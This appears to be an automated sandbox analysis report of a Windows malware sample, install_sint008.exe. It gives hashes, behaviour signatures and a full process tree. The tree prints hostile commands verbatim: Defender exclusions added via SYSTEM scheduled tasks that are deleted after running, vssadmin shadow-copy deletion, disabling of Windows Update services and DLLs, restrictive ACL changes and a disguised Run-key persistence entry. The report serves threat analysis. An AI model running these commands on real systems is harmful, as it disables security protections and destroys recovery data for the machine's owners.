Analysis
- max time kernel
139s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
13/08/2026, 13:29
Static task
static1
Behavioral task
behavioral1
Sample
install_sint008.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_sint008.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_sint008.exe
- Size 40.7MB
- Sample260813-qrf26a1clb
- SHA256 6f4a2677c4801a9c26bdf56ca8ec752b93342b5c40a27b5e261aa7ed29409b8e
- MD5 a17f2e8c5e81a9df966b267dac8fa9b8
- SHA1 47d6583b36ea72ce4ea738ad60c293a01f104146
- SHA512 3f8df67c4f7bb0bcf0aacc2cb7200699f272a92ea76d9ba7db7ddeb61ddcb83c374566428bc59e0ec84509916801d5b76af9ea786a662f2ae5e4d248850a4693
- SSDEEP 49152:wJXVSCM39nmT5ocV1Nxst3ZbypRxG80FfElQ+XwxhxuhSnY53G3SrXJAdrFejntK:wu/9nmHZLxG80DuKA3XAD8ntZfh6fgCh
- TLSH T1DD974C02F7054AAFE07A9234489B8F61E335D8B146B1937723F55B2C1EEF34C4EA6964
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\wOCtHU = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2684 powershell.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 2 IoCs
pid Process 3316 4O4A8G.exe 5740 4O4A8G.exe - Loads dropped DLL 2 IoCs
pid Process 3316 4O4A8G.exe 5740 4O4A8G.exe - Modifies file permissions 1 TTPs 6 IoCs
pid Process 1356 icacls.exe 708 icacls.exe 800 icacls.exe 2812 icacls.exe 2172 icacls.exe 1252 icacls.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\wOCtHU\\4O4A8G.exe\"" 4O4A8G.exe - Indicator Removal: Clear Persistence 1 TTPs 9 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1228 cmd.exe 5044 cmd.exe 3652 cmd.exe 4820 cmd.exe 1180 cmd.exe 2180 cmd.exe 3240 cmd.exe 5200 cmd.exe 2344 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 4O4A8G.exe - Drops file in Program Files directory 9 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\3QBzlE 4O4A8G.exe File created C:\Program Files (x86)\3QBzlE\JEHwax.exe 4O4A8G.exe File created C:\Program Files (x86)\3QBzlE\thumbs.db 4O4A8G.exe File opened for modification C:\Program Files (x86)\3QBzlE\XPSPLOG.dll 4O4A8G.exe File created C:\Program Files (x86)\3QBzlE\XPSPLOG.dll 4O4A8G.exe File created C:\Program Files (x86)\3QBzlE\image.png 4O4A8G.exe File opened for modification C:\Program Files (x86)\3QBzlE\JEHwax.exe 4O4A8G.exe File opened for modification C:\Program Files (x86)\3QBzlE\image.png 4O4A8G.exe File opened for modification C:\Program Files (x86)\3QBzlE\thumbs.db 4O4A8G.exe - Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4540 sc.exe 3140 sc.exe 4564 sc.exe 2612 sc.exe 1312 sc.exe 4896 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 17 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1240 cmd.exe 2936 cmd.exe 4332 cmd.exe 3972 cmd.exe 2304 cmd.exe 5932 cmd.exe 4408 cmd.exe 2620 cmd.exe 2504 cmd.exe 3136 cmd.exe 2524 cmd.exe 3956 cmd.exe 1880 cmd.exe 668 cmd.exe 2924 cmd.exe 2840 cmd.exe 3276 cmd.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2892 schtasks.exe 5888 schtasks.exe 4424 schtasks.exe 4464 schtasks.exe 5412 schtasks.exe 1884 schtasks.exe 708 schtasks.exe 2864 schtasks.exe 4480 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 4840 install_sint008.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe 3316 4O4A8G.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 2684 powershell.exe Token: SeIncreaseQuotaPrivilege 2684 powershell.exe Token: SeSecurityPrivilege 2684 powershell.exe Token: SeTakeOwnershipPrivilege 2684 powershell.exe Token: SeLoadDriverPrivilege 2684 powershell.exe Token: SeSystemProfilePrivilege 2684 powershell.exe Token: SeSystemtimePrivilege 2684 powershell.exe Token: SeProfSingleProcessPrivilege 2684 powershell.exe Token: SeIncBasePriorityPrivilege 2684 powershell.exe Token: SeCreatePagefilePrivilege 2684 powershell.exe Token: SeBackupPrivilege 2684 powershell.exe Token: SeRestorePrivilege 2684 powershell.exe Token: SeShutdownPrivilege 2684 powershell.exe Token: SeDebugPrivilege 2684 powershell.exe Token: SeSystemEnvironmentPrivilege 2684 powershell.exe Token: SeRemoteShutdownPrivilege 2684 powershell.exe Token: SeUndockPrivilege 2684 powershell.exe Token: SeManageVolumePrivilege 2684 powershell.exe Token: 33 2684 powershell.exe Token: 34 2684 powershell.exe Token: 35 2684 powershell.exe Token: 36 2684 powershell.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 3316 wrote to memory of 2684 3316 4O4A8G.exe 92 PID 3316 wrote to memory of 4820 3316 4O4A8G.exe 94 PID 4820 wrote to memory of 1884 4820 cmd.exe 97 PID 4820 wrote to memory of 5064 4820 cmd.exe 99 PID 3316 wrote to memory of 2344 3316 4O4A8G.exe 101 PID 4820 wrote to memory of 2188 4820 cmd.exe 103 PID 2344 wrote to memory of 708 2344 cmd.exe 104 PID 3316 wrote to memory of 1228 3316 4O4A8G.exe 106 PID 2344 wrote to memory of 6004 2344 cmd.exe 108 PID 2344 wrote to memory of 1520 2344 cmd.exe 111 PID 1228 wrote to memory of 2864 1228 cmd.exe 112 PID 2524 wrote to memory of 4596 2524 cmd.exe 114 PID 2924 wrote to memory of 1316 2924 cmd.exe 115 PID 3316 wrote to memory of 5044 3316 4O4A8G.exe 116 PID 5044 wrote to memory of 5888 5044 cmd.exe 118 PID 1228 wrote to memory of 980 1228 cmd.exe 119 PID 5044 wrote to memory of 4332 5044 cmd.exe 121 PID 1228 wrote to memory of 4240 1228 cmd.exe 122 PID 5044 wrote to memory of 1796 5044 cmd.exe 123 PID 3316 wrote to memory of 1180 3316 4O4A8G.exe 124 PID 1180 wrote to memory of 4424 1180 cmd.exe 126 PID 1180 wrote to memory of 4888 1180 cmd.exe 127 PID 1180 wrote to memory of 2536 1180 cmd.exe 129 PID 5932 wrote to memory of 5732 5932 cmd.exe 132 PID 3956 wrote to memory of 5296 3956 cmd.exe 133 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install_sint008.exe"C:\Users\Admin\AppData\Local\Temp\install_sint008.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4840
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C:\Users\Public\wOCtHU\4O4A8G.exe"C:\Users\Public\wOCtHU\4O4A8G.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3316 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wOCtHU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wOCtHU\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1884
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5064
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:708
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6004
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2864
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:980
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5044 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5888
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4332
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4424
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4888
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2536
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C:\Program Files (x86)\3QBzlE\JEHwax.exe"C:\Program Files (x86)\3QBzlE\JEHwax.exe"2⤵PID:2068
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
PID:1240
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\3QBzlE" /inheritance:r3⤵
- Executes a command shell one-liner
PID:4408 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\3QBzlE" /inheritance:r4⤵
- Modifies file permissions
PID:1356
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:2840
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:2936
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\3QBzlE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:2620 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\3QBzlE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:708
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\3QBzlE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:2180 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\3QBzlE\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:4464
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:2788
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:5196
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"3⤵
- Executes a command shell one-liner
PID:1880 -
C:\Windows\SysWOW64\net.exenet stop wuauserv4⤵PID:2460
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv5⤵PID:1932
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
PID:2612
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""4⤵
- Launches sc.exe
PID:1312
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C:\Windows\SysWOW64\net.exenet stop UsoSvc4⤵PID:4888
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc5⤵PID:4340
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C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled4⤵
- Launches sc.exe
PID:4896
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C:\Windows\SysWOW64\sc.exesc failure UsoSvc reset= 0 actions= ""4⤵
- Launches sc.exe
PID:4540
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C:\Windows\SysWOW64\net.exenet stop uhssvc4⤵PID:3236
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop uhssvc5⤵PID:2664
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C:\Windows\SysWOW64\sc.exesc config uhssvc start= disabled4⤵
- Launches sc.exe
PID:3140
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C:\Windows\SysWOW64\sc.exesc failure uhssvc reset= 0 actions= ""4⤵
- Launches sc.exe
PID:4564
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C:\Windows\SysWOW64\net.exenet stop WaaSMedicSvc4⤵PID:4388
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\3QBzlE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
PID:668 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\3QBzlE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Modifies file permissions
PID:800
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:3652 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:5412
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:4928
-
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:5736
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\3QBzlE\JEHwax.exe" /inheritance:r3⤵
- Executes a command shell one-liner
PID:2504 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\3QBzlE\JEHwax.exe" /inheritance:r4⤵
- Modifies file permissions
PID:2812
-
-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:3240 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:4480
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:5372
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:832
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\3QBzlE\JEHwax.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:3136 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\3QBzlE\JEHwax.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:2172
-
-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:5200 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2892
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:2604
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:5840
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\3QBzlE\JEHwax.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:2304 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\3QBzlE\JEHwax.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:1252
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C:\Users\Public\wOCtHU\4O4A8G.exe"C:\Users\Public\wOCtHU\4O4A8G.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5740
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wOCtHU" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wOCtHU" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4596
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4828
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1316
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5296
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5932 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5732
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C:\Program Files (x86)\3QBzlE\JEHwax.exe"C:\Program Files (x86)\3QBzlE\JEHwax.exe"1⤵PID:4740
